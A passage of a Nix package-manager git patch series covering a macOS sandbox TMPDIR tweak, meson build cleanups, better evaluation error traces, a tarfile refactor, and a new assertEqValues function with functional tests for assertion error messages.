__APPLE__ + if (false) { +#else if (useChroot) { +#endif /* If sandboxing is enabled, put the actual TMPDIR underneath an inaccessible root-owned directory, to prevent outside - access. */ + access. + + On macOS, we don't use an actual chroot, so this isn't + possible. Any mitigation along these lines would have to be + done directly in the sandbox profile. */ tmpDir = topTmpDir + "/build"; createDir(tmpDir, 0700); + } else { + tmpDir = topTmpDir; } chownToBuilder(tmpDir); From e4056b9afdf732068a309e9cac959190a640f055 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 4 Jul 2024 17:48:27 -0400 Subject: [PATCH 0988/1251] Apply suggestions from code review Co-authored-by: Robert Hensing --- build-utils-meson/deps-lists/meson.build | 2 +- build-utils-meson/diagnostics/meson.build | 3 --- src/libexpr-c/meson.build | 2 +- src/libexpr-c/package.nix | 1 - src/libstore-c/meson.build | 2 +- src/libstore/meson.build | 3 ++- tests/unit/libexpr/meson.build | 3 +-- 7 files changed, 6 insertions(+), 10 deletions(-) diff --git a/build-utils-meson/deps-lists/meson.build b/build-utils-meson/deps-lists/meson.build index 89fbfdb36..237eac545 100644 --- a/build-utils-meson/deps-lists/meson.build +++ b/build-utils-meson/deps-lists/meson.build @@ -20,7 +20,7 @@ deps_private = [ ] # C library, whose public interface --- including public but not private # dependencies --- will also likewise soon be stable. # -# N.B. For distributions that care about "ABI" stablity and not just +# N.B. For distributions that care about "ABI" stability and not just # "API" stability, the private dependencies also matter as they can # potentially affect the public ABI. deps_public = [ ] diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build index eb0c636c0..2b79f6566 100644 --- a/build-utils-meson/diagnostics/meson.build +++ b/build-utils-meson/diagnostics/meson.build @@ -9,8 +9,5 @@ add_project_arguments( # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked # at ~1% overhead in `nix search`. # - # FIXME: remove when we get meson 1.4.0 which will default this to on for us: - # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions - '-D_GLIBCXX_ASSERTIONS=1', language : 'cpp', ) diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index fb9ade28d..2a2669b3e 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -69,7 +69,7 @@ headers = [config_h] + files( 'nix_api_value.h', ) -# TODO don't install this once tests don't use it. +# TODO move this header to libexpr, maybe don't use it in tests? headers += files('nix_api_expr_internal.h') subdir('build-utils-meson/export-all-symbols') diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index 81e42cf6a..b445a8187 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , mkMesonDerivation -, releaseTools , meson , ninja diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 426f07a34..917de4cda 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -61,7 +61,7 @@ headers = [config_h] + files( 'nix_api_store.h', ) -# TODO don't install this once tests don't use it. +# TODO don't install this once tests don't use it and/or move the header into `libstore`, non-`c` headers += files('nix_api_store_internal.h') subdir('build-utils-meson/export-all-symbols') diff --git a/src/libstore/meson.build b/src/libstore/meson.build index f94a454da..7444cba20 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -118,7 +118,8 @@ busybox = find_program(get_option('sandbox-shell'), required : false) if get_option('embedded-sandbox-shell') # This one goes in config.h # The path to busybox is passed as a -D flag when compiling this_library. - # Idk why, ask the old buildsystem. + # This solution is inherited from the old make buildsystem + # TODO: do this differently? configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1) hexdump = find_program('hexdump', native : true) embedded_sandbox_shell_gen = custom_target( diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build index 71865b59f..a7b22f7f1 100644 --- a/tests/unit/libexpr/meson.build +++ b/tests/unit/libexpr/meson.build @@ -30,7 +30,7 @@ subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck -gtest = dependency('gtest', main : true) +gtest = dependency('gtest') deps_private += gtest gtest = dependency('gmock') @@ -77,7 +77,6 @@ this_exe = executable( include_directories : include_dirs, # TODO: -lrapidcheck, see ../libutil-support/build.meson link_args: linker_export_flags + ['-lrapidcheck'], - # get main from gtest install : true, ) From 09763c7cad66938e1675a4081194ae9e8054c22b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Jul 2024 15:28:41 +0200 Subject: [PATCH 0989/1251] getDerivations: add attributes to trace MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This improves the error message of nix-env -qa, among others, which is crucial for understanding some ofborg eval error reports, such as https://gist.github.com/GrahamcOfBorg/89101ca9c2c855d288178f1d3c78efef After this change, it will report the same trace, but also start with ``` error: … while evaluating the attribute 'devShellTools' … while evaluating the attribute 'nixos' … while evaluating the attribute 'docker-tools-nix-shell' … while evaluating the attribute 'aarch64-darwin' … from call site at /home/user/h/nixpkgs/outpaths.nix:48:6: 47| tweak = lib.mapAttrs 48| (name: val: | ^ 49| if name == "recurseForDerivations" then true ``` --- src/libexpr/get-drvs.cc | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index 0d2aecc58..896733423 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -374,21 +374,26 @@ static void getDerivations(EvalState & state, Value & vIn, bound to the attribute with the "lower" name should take precedence). */ for (auto & i : v.attrs()->lexicographicOrder(state.symbols)) { - debug("evaluating attribute '%1%'", state.symbols[i->name]); - if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex)) - continue; - std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]); - if (combineChannels) - getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); - else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) { - /* If the value of this attribute is itself a set, - should we recurse into it? => Only if it has a - `recurseForDerivations = true' attribute. */ - if (i->value->type() == nAttrs) { - auto j = i->value->attrs()->get(state.sRecurseForDerivations); - if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) - getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + try { + debug("evaluating attribute '%1%'", state.symbols[i->name]); + if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex)) + continue; + std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]); + if (combineChannels) + getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) { + /* If the value of this attribute is itself a set, + should we recurse into it? => Only if it has a + `recurseForDerivations = true' attribute. */ + if (i->value->type() == nAttrs) { + auto j = i->value->attrs()->get(state.sRecurseForDerivations); + if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) + getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + } } + } catch (Error & e) { + e.addTrace(state.positions[i->pos], "while evaluating the attribute '%s'", state.symbols[i->name]); + throw; } } } From e7e070d36b8f58cb48c95ae3ca6dabc0df7b79b9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 5 Jul 2024 16:29:16 +0200 Subject: [PATCH 0990/1251] Document --- src/libutil/tarfile.cc | 23 +++++++++++++++-------- tests/nixos/tarball-flakes.nix | 2 +- 2 files changed, 16 insertions(+), 9 deletions(-) diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 445968b57..d985e5c2a 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -67,6 +67,17 @@ int getArchiveFilterCodeByName(const std::string & method) return code; } +static void enableSupportedFormats(struct archive * archive) +{ + archive_read_support_format_tar(archive); + archive_read_support_format_zip(archive); + + /* Enable support for empty files so we don't throw an exception + for empty HTTP 304 "Not modified" responses. See + downloadTarball(). */ + archive_read_support_format_empty(archive); +} + TarArchive::TarArchive(Source & source, bool raw, std::optional compression_method) : archive{archive_read_new()} , source{&source} @@ -78,11 +89,9 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional com archive_read_support_filter_by_code(archive, getArchiveFilterCodeByName(*compression_method)); } - if (!raw) { - archive_read_support_format_tar(archive); - archive_read_support_format_zip(archive); - archive_read_support_format_empty(archive); - } else { + if (!raw) + enableSupportedFormats(archive); + else { archive_read_support_format_raw(archive); archive_read_support_format_empty(archive); } @@ -98,9 +107,7 @@ TarArchive::TarArchive(const Path & path) , buffer(defaultBufferSize) { archive_read_support_filter_all(archive); - archive_read_support_format_tar(archive); - archive_read_support_format_zip(archive); - archive_read_support_format_empty(archive); + enableSupportedFormats(archive); archive_read_set_option(archive, NULL, "mac-ext", NULL); check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s"); } diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix index e20b853f7..3945bd8b0 100644 --- a/tests/nixos/tarball-flakes.nix +++ b/tests/nixos/tarball-flakes.nix @@ -74,7 +74,7 @@ in assert info["revision"] == "${nixpkgs.rev}" assert info["revCount"] == 1234 - # Check that a 0-byte cached (304) result works. + # Check that a 0-byte HTTP 304 "Not modified" result works. machine.succeed("nix flake metadata --refresh --json http://localhost/tags/latest.tar.gz") # Check that fetching with rev/revCount/narHash succeeds. From d63bd8295e05b31dd8dbf85c91a8a782e471a383 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Jul 2024 16:43:48 +0200 Subject: [PATCH 0991/1251] assert: Report why values aren't equal --- src/libexpr/eval.cc | 232 +++++++++++++++++- src/libexpr/eval.hh | 9 + ...al-fail-assert-equal-attrs-names-2.err.exp | 8 + .../eval-fail-assert-equal-attrs-names-2.nix | 2 + ...eval-fail-assert-equal-attrs-names.err.exp | 8 + .../eval-fail-assert-equal-attrs-names.nix | 2 + ...ail-assert-equal-derivations-extra.err.exp | 26 ++ ...al-fail-assert-equal-derivations-extra.nix | 5 + ...eval-fail-assert-equal-derivations.err.exp | 26 ++ .../eval-fail-assert-equal-derivations.nix | 5 + .../eval-fail-assert-equal-floats.err.exp | 22 ++ .../lang/eval-fail-assert-equal-floats.nix | 2 + ...-fail-assert-equal-function-direct.err.exp | 9 + ...eval-fail-assert-equal-function-direct.nix | 7 + .../eval-fail-assert-equal-int-float.err.exp | 8 + .../lang/eval-fail-assert-equal-int-float.nix | 2 + .../lang/eval-fail-assert-equal-ints.err.exp | 22 ++ .../lang/eval-fail-assert-equal-ints.nix | 2 + ...eval-fail-assert-equal-list-length.err.exp | 8 + .../eval-fail-assert-equal-list-length.nix | 2 + .../lang/eval-fail-assert-equal-paths.err.exp | 8 + .../lang/eval-fail-assert-equal-paths.nix | 2 + ...eval-fail-assert-equal-type-nested.err.exp | 22 ++ .../eval-fail-assert-equal-type-nested.nix | 2 + .../lang/eval-fail-assert-equal-type.err.exp | 8 + .../lang/eval-fail-assert-equal-type.nix | 2 + .../lang/eval-fail-assert-nested-bool.err.exp | 74 ++++++ .../lang/eval-fail-assert-nested-bool.nix | 6 + .../functional/lang/eval-fail-assert.err.exp | 6 +- 29 files changed, 532 insertions(+), 5 deletions(-) create mode 100644 tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-attrs-names.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-derivations.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-derivations.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-floats.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-floats.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-function-direct.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-int-float.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-int-float.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-ints.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-ints.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-list-length.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-list-length.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-paths.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-paths.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-type-nested.nix create mode 100644 tests/functional/lang/eval-fail-assert-equal-type.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-equal-type.nix create mode 100644 tests/functional/lang/eval-fail-assert-nested-bool.err.exp create mode 100644 tests/functional/lang/eval-fail-assert-nested-bool.nix diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index d2be00e55..fb6050e50 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1759,9 +1759,24 @@ void ExprIf::eval(EvalState & state, Env & env, Value & v) void ExprAssert::eval(EvalState & state, Env & env, Value & v) { if (!state.evalBool(env, cond, pos, "in the condition of the assert statement")) { - std::ostringstream out; - cond->show(state.symbols, out); - state.error("assertion '%1%' failed", out.str()).atPos(pos).withFrame(env, *this).debugThrow(); + auto exprStr = ({ + std::ostringstream out; + cond->show(state.symbols, out); + out.str(); + }); + + if (auto eq = dynamic_cast(cond)) { + try { + Value v1; eq->e1->eval(state, env, v1); + Value v2; eq->e2->eval(state, env, v2); + state.assertEqValues(v1, v2, eq->pos, "in an equality assertion"); + } catch (AssertionError & e) { + e.addTrace(state.positions[pos], "while evaluating the condition of the assertion '%s'", exprStr); + throw; + } + } + + state.error("assertion '%1%' failed", exprStr).atPos(pos).withFrame(env, *this).debugThrow(); } body->eval(state, env, v); } @@ -2418,6 +2433,216 @@ SingleDerivedPath EvalState::coerceToSingleDerivedPath(const PosIdx pos, Value & } + +// NOTE: This implementation must match eqValues! +// We accept this burden because informative error messages for +// `assert a == b; x` are critical for our users' testing UX. +void EvalState::assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx) +{ + // This implementation must match eqValues. + forceValue(v1, pos); + forceValue(v2, pos); + + if (&v1 == &v2) + return; + + // Special case type-compatibility between float and int + if ((v1.type() == nInt || v1.type() == nFloat) && (v2.type() == nInt || v2.type() == nFloat)) { + if (eqValues(v1, v2, pos, errorCtx)) { + return; + } else { + error( + "%s with value '%s' is not equal to %s with value '%s'", + showType(v1), + ValuePrinter(*this, v1, errorPrintOptions), + showType(v2), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + } + + if (v1.type() != v2.type()) { + error( + "%s of value '%s' is not equal to %s of value '%s'", + showType(v1), + ValuePrinter(*this, v1, errorPrintOptions), + showType(v2), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + + switch (v1.type()) { + case nInt: + if (v1.integer() != v2.integer()) { + error("integer '%d' is not equal to integer '%d'", v1.integer(), v2.integer()).debugThrow(); + } + return; + + case nBool: + if (v1.boolean() != v2.boolean()) { + error( + "boolean '%s' is not equal to boolean '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nString: + if (strcmp(v1.c_str(), v2.c_str()) != 0) { + error( + "string '%s' is not equal to string '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nPath: + if (v1.payload.path.accessor != v2.payload.path.accessor) { + error( + "path '%s' is not equal to path '%s' because their accessors are different", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + if (strcmp(v1.payload.path.path, v2.payload.path.path) != 0) { + error( + "path '%s' is not equal to path '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nNull: + return; + + case nList: + if (v1.listSize() != v2.listSize()) { + error( + "list of size '%d' is not equal to list of size '%d', left hand side is '%s', right hand side is '%s'", + v1.listSize(), + v2.listSize(), + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + for (size_t n = 0; n < v1.listSize(); ++n) { + try { + assertEqValues(*v1.listElems()[n], *v2.listElems()[n], pos, errorCtx); + } catch (Error & e) { + e.addTrace(positions[pos], "while comparing list element %d", n); + throw; + } + } + return; + + case nAttrs: { + if (isDerivation(v1) && isDerivation(v2)) { + auto i = v1.attrs()->get(sOutPath); + auto j = v2.attrs()->get(sOutPath); + if (i && j) { + try { + assertEqValues(*i->value, *j->value, pos, errorCtx); + return; + } catch (Error & e) { + e.addTrace(positions[pos], "while comparing a derivation by its '%s' attribute", "outPath"); + throw; + } + assert(false); + } + } + + if (v1.attrs()->size() != v2.attrs()->size()) { + error( + "attribute names of attribute set '%s' differs from attribute set '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + + // Like normal comparison, we compare the attributes in non-deterministic Symbol index order. + // This function is called when eqValues has found a difference, so to reliably + // report about its result, we should follow in its literal footsteps and not + // try anything fancy that could lead to an error. + Bindings::const_iterator i, j; + for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) { + if (i->name != j->name) { + // A difference in a sorted list means that one attribute is not contained in the other, but we don't + // know which. Let's find out. Could use <, but this is more clear. + if (!v2.attrs()->get(i->name)) { + error( + "attribute name '%s' is contained in '%s', but not in '%s'", + symbols[i->name], + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + if (!v1.attrs()->get(j->name)) { + error( + "attribute name '%s' is missing in '%s', but is contained in '%s'", + symbols[j->name], + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + assert(false); + } + try { + assertEqValues(*i->value, *j->value, pos, errorCtx); + } catch (Error & e) { + // The order of traces is reversed, so this presents as + // where left hand side is + // at + // where right hand side is + // at + // while comparing attribute '' + if (j->pos != noPos) + e.addTrace(positions[j->pos], "where right hand side is"); + if (i->pos != noPos) + e.addTrace(positions[i->pos], "where left hand side is"); + e.addTrace(positions[pos], "while comparing attribute '%s'", symbols[i->name]); + throw; + } + } + return; + } + + case nFunction: + error("distinct functions and immediate comparisons of identical functions compare as unequal") + .debugThrow(); + + case nExternal: + if (!(*v1.external() == *v2.external())) { + error( + "external value '%s' is not equal to external value '%s'", + ValuePrinter(*this, v1, errorPrintOptions), + ValuePrinter(*this, v2, errorPrintOptions)) + .debugThrow(); + } + return; + + case nFloat: + // !!! + if (!(v1.fpoint() == v2.fpoint())) { + error("float '%f' is not equal to float '%f'", v1.fpoint(), v2.fpoint()).debugThrow(); + } + return; + + case nThunk: // Must not be left by forceValue + default: + // This should never happen, because eqValues already throws an + // error for this, and this function should only be called when + // eqValues has found a difference, and it should match + // its behavior. + error( + "cannot compare %1% with %2%; is assertEqValues out of sync with eqValues?", showType(v1), showType(v2)) + .debugThrow(); + } +} + +// This implementation must match assertEqValues bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx) { forceValue(v1, pos); @@ -2491,6 +2716,7 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v return *v1.external() == *v2.external(); case nFloat: + // !!! return v1.fpoint() == v2.fpoint(); case nThunk: // Must not be left by forceValue diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index b84bc9907..df44bed70 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -644,6 +644,15 @@ public: */ bool eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx); + /** + * Like `eqValues`, but throws an `AssertionError` if not equal. + * + * WARNING: + * Callers should call `eqValues` first and report if `assertEqValues` behaves + * incorrectly. (e.g. if it doesn't throw if eqValues returns false or vice versa) + */ + void assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx); + bool isFunctor(Value & fun); // FIXME: use std::span diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp new file mode 100644 index 000000000..4b68d97c2 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '({ a = true; } == { a = true; b = true; })' + at /pwd/lang/eval-fail-assert-equal-attrs-names-2.nix:1:1: + 1| assert { a = true; } == { a = true; b = true; }; + | ^ + 2| throw "unreachable" + + error: attribute names of attribute set '{ a = true; }' differs from attribute set '{ a = true; b = true; }' diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix new file mode 100644 index 000000000..8e7ac9cf2 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix @@ -0,0 +1,2 @@ +assert { a = true; } == { a = true; b = true; }; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp b/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp new file mode 100644 index 000000000..bc61ca63a --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '({ a = true; b = true; } == { a = true; })' + at /pwd/lang/eval-fail-assert-equal-attrs-names.nix:1:1: + 1| assert { a = true; b = true; } == { a = true; }; + | ^ + 2| throw "unreachable" + + error: attribute names of attribute set '{ a = true; b = true; }' differs from attribute set '{ a = true; }' diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix b/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix new file mode 100644 index 000000000..e2f53a85a --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix @@ -0,0 +1,2 @@ +assert { a = true; b = true; } == { a = true; }; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp new file mode 100644 index 000000000..7f4924074 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the condition of the assertion '({ foo = { outPath = "/nix/store/0"; type = "derivation"; }; } == { foo = { devious = true; outPath = "/nix/store/1"; type = "derivation"; }; })' + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:1:1: + 1| assert + | ^ + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + + … while comparing attribute 'foo' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:2:5: + 1| assert + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:4:5: + 3| == + 4| { foo = { type = "derivation"; outPath = "/nix/store/1"; devious = true; }; }; + | ^ + 5| throw "unreachable" + + … while comparing a derivation by its 'outPath' attribute + + error: string '"/nix/store/0"' is not equal to string '"/nix/store/1"' diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix new file mode 100644 index 000000000..fd8bc3f26 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix @@ -0,0 +1,5 @@ +assert + { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + == + { foo = { type = "derivation"; outPath = "/nix/store/1"; devious = true; }; }; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp b/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp new file mode 100644 index 000000000..d7f0face0 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the condition of the assertion '({ foo = { ignored = (abort "not ignored"); outPath = "/nix/store/0"; type = "derivation"; }; } == { foo = { ignored = (abort "not ignored"); outPath = "/nix/store/1"; type = "derivation"; }; })' + at /pwd/lang/eval-fail-assert-equal-derivations.nix:1:1: + 1| assert + | ^ + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + + … while comparing attribute 'foo' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-derivations.nix:2:5: + 1| assert + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-derivations.nix:4:5: + 3| == + 4| { foo = { type = "derivation"; outPath = "/nix/store/1"; ignored = abort "not ignored"; }; }; + | ^ + 5| throw "unreachable" + + … while comparing a derivation by its 'outPath' attribute + + error: string '"/nix/store/0"' is not equal to string '"/nix/store/1"' diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations.nix b/tests/functional/lang/eval-fail-assert-equal-derivations.nix new file mode 100644 index 000000000..c648eae37 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations.nix @@ -0,0 +1,5 @@ +assert + { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + == + { foo = { type = "derivation"; outPath = "/nix/store/1"; ignored = abort "not ignored"; }; }; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-floats.err.exp b/tests/functional/lang/eval-fail-assert-equal-floats.err.exp new file mode 100644 index 000000000..d8545e2db --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-floats.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ b = 1; } == { b = 1.01; })' + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:1: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'b' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:10: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:26: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + error: a float with value '1' is not equal to a float with value '1.01' diff --git a/tests/functional/lang/eval-fail-assert-equal-floats.nix b/tests/functional/lang/eval-fail-assert-equal-floats.nix new file mode 100644 index 000000000..438e85abf --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-floats.nix @@ -0,0 +1,2 @@ +assert { b = 1.0; } == { b = 1.01; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp b/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp new file mode 100644 index 000000000..f06d79698 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp @@ -0,0 +1,9 @@ +error: + … while evaluating the condition of the assertion '((x: x) == (x: x))' + at /pwd/lang/eval-fail-assert-equal-function-direct.nix:3:1: + 2| # This only compares a direct comparison and makes no claims about functions in nested structures. + 3| assert + | ^ + 4| (x: x) + + error: distinct functions and immediate comparisons of identical functions compare as unequal diff --git a/tests/functional/lang/eval-fail-assert-equal-function-direct.nix b/tests/functional/lang/eval-fail-assert-equal-function-direct.nix new file mode 100644 index 000000000..68e5e3908 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-function-direct.nix @@ -0,0 +1,7 @@ +# Note: functions in nested structures, e.g. attributes, may be optimized away by pointer identity optimization. +# This only compares a direct comparison and makes no claims about functions in nested structures. +assert + (x: x) + == + (x: x); +abort "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp b/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp new file mode 100644 index 000000000..c927e38d6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(1 == 1.1)' + at /pwd/lang/eval-fail-assert-equal-int-float.nix:1:1: + 1| assert 1 == 1.1; + | ^ + 2| throw "unreachable" + + error: an integer with value '1' is not equal to a float with value '1.1' diff --git a/tests/functional/lang/eval-fail-assert-equal-int-float.nix b/tests/functional/lang/eval-fail-assert-equal-int-float.nix new file mode 100644 index 000000000..1dfdf2bda --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-int-float.nix @@ -0,0 +1,2 @@ +assert 1 == 1.1; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-ints.err.exp b/tests/functional/lang/eval-fail-assert-equal-ints.err.exp new file mode 100644 index 000000000..d6219e200 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-ints.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ b = 1; } == { b = 2; })' + at /pwd/lang/eval-fail-assert-equal-ints.nix:1:1: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'b' + + … where left hand side is + at 